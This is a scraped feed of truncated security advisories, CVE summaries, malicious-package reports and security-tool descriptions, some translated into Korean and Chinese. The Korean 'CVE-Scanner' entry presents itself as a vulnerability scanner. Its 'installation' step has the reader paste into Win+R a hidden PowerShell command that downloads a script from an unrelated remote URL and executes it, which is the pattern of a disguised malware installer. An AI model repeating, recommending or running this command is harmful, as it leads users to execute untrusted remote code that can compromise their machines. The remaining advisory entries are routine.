UBUNTU-CVE-2026-63481

Hurl is a command line tool that runs and tests HTTP requests defined...

ginger

Ginger Ginger는 주어진 Pentaho BA 애플리케이션 인스턴스의 보안을 평가하는 데 도움을 주는 오픈 소스 보안 평가 도구입니다. 이 프로젝트는 아직 작업 진행 중이며, 모든 기능이 구현되어 있지 않거나 의도한 대로 작동하지 않을 수 있다는 점을 유의하시기 바랍니다. 사용법 Ginger에는 필수 매개변수가 하나만 있습니다. 바로 대상 Pentaho 설치의 URL입니다: root@kitploit: user@host:$ python gynger.py http://localhost:8080/pentaho 참고: 끝에...

tlsenum

tlsenum tlsenum은 서버가 지원하는 TLS 암호 스위트를 열거하고 우선순위 순서로 나열하는 명령줄 TLS 열거 도구입니다. 이 도구는 TLS ClientHello 메시지를 보내고 서버에서 오는 ServerHello 응답을 구문 분석하여 작동합니다. tlsenum은 서버가 선호하는 암호 스위트를 결정하며 클라이언트가 표시한 선호도를 무시한다고 가정합니다. 이는 TLS 사양에 의해 엄격히 보장되지는 않지만 상당히 일반적인 구현 세부 사항으로 보입니다. 설치 tlsenum은 Python 2.7, 3.3 또는 3.4에서 사...

GHSA-332R-8PMF-8M9P vulnerabilities

Vulnerabilities for packages: wget...

rdpscan-BlueKeep

用于 CVE-2019-0708 BlueKeep 漏洞的 rdpscan 这是一个针对 Microsoft 远程桌面中 CVE-2019-0708 漏洞的简单粗暴扫描器。 目前，公网上约有 90 万台机器受此漏洞影响，因此很多人预计很快会出现类似 WannaCry 和 notPetya 的蠕虫。所以，请扫描你的网络，并对易受攻击的系统打补丁（或至少启用 NLA）。 这是一个命令行工具。你可以自行下载源码编译，也可以从上面的链接下载 Windows 或 macOS 的预编译二进制文件。 此工具完全基于 https://github.com/zerosum0x0/CVE-2019-0708...

CVE-Scanner

CVE-Scanner CVE-2021-42287/CVE-2021-42278/기타 스캐너 & 익스플로이터. 설치 1. WIN + R 키를 누릅니다 2. 아래 코드를 복사하여 붙여넣고 Enter 키를 누릅니다 root@kitploit: powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. PC를 다시 시작합니다 사용법 1. CMD를 엽니다 2. fexkex 스캔할 I...

[SECURITY] Fedora 43 Update: rpm-6.0.2-1.fc43

The RPM Package Manager RPM is a powerful command line driven package management system capable of installing, uninstalling, verifying, querying, and updating software packages. Each software package consists of an archive of files along with information about the package like its version, a...

MAL-2026-10526 Malicious code in @vite-pro/vite-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9aaf307faea8efb93af6f3c8ee4811304a7d9afa25f1c9525aed108efea439e7 Package @vite-pro/vite-ui impersonates the official vite package: package.json declares author Evan You, points repository at github.com/vitejs/vite,...

ROS-20260708-73-0055

The vulnerability in jq is related to an uncontrolled recursion. Exploiting this vulnerability can allow an attacker to cause a service failure...

CVE-2026-46672

The CVE-2026-46672 entry describes a local CSV formula-injection flaw in the @actual-app/cli before version 26.6.0. The CLI uses a hand-rolled CSV serializer in packages/cli/src/output.ts with an escapeCsv that only neutralizes RFC 4180 delimiters (comma, quote, newline) and does not neutralize c...

MAL-2026-7246 Malicious code in cli-pretty-logger (npm)

--- -= Per source details. Do not edit below this line.=-...

[SECURITY] Fedora 43 Update: python-streamlink-8.4.0-1.fc43

Streamlink is a command-line utility that pipes video streams from various services into a video player, such as VLC. The main purpose of Streamlink is to allow the user to avoid buggy and CPU heavy flash plugins but still be able to enjoy various streamed content. There is also an API available...

Exploit-Chain-Suggester

Exploit Chain Suggester v2.0.0 A CLI tool for penetration tes...

CVE-2026-8482 Information leak in NSRPC client history

A vulnerability was discovered on StormShield Network Security 4.3.0 to 4.3.41 included, 4.8.0 to 4.8.15 included , 5.0.0 to 5.0.5 included There is a possible leak of secret information if administration commands have been passed with the CLI command line tool. Someone with SSH access to the...

CVE-2026-49980

Rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.46.0 until 1.74.3, rclone rcd --rc-serve accepts unauthenticated GET and HEAD requests to paths of the form: /remote:path/object. The remote value is parsed from the URL and passed...

[SECURITY] Fedora 43 Update: yt-dlp-2026.06.09-1.fc43

yt-dlp is a command-line program to download videos from many different online video platforms, such as youtube.com. The project is a fork of youtube-dl with additional features and fixes...

CVE-2026-56409

xmlwf in libexpat before 2.8.2 has an integer overflow for the output filename when -d outputDir is used...

postgresql: PostgreSQL libpq: Buffer overflow allows server superuser to overwrite client stack memory

A flaw was found in PostgreSQL libpq. A server superuser can exploit a buffer overflow vulnerability in the PQfn function, which is used by client functions such as loexport, loread, lolseek64, and lotell64. This allows the superuser to send an arbitrarily large response, overwriting the client's...

@steipete/summarize is Vulnerable to Disk Exhaustion via Crafted Media Responses

Summarize before 0.17.0 contains a resource exhaustion vulnerability that allows remote attackers to cause disk exhaustion by serving media responses that bypass the enforced size limit through missing or misreported Content-Length headers, chunked transfer encoding, or failed HEAD requests...

[SECURITY] Fedora 43 Update: pcs-0.12.2-2.fc43

pcs is a configuration tool for Corosync and Pacemaker. It permits users to easily view, modify and create high availability clusters based on Pacemaker. This package contains the pcs command-line utility and its server pcsd...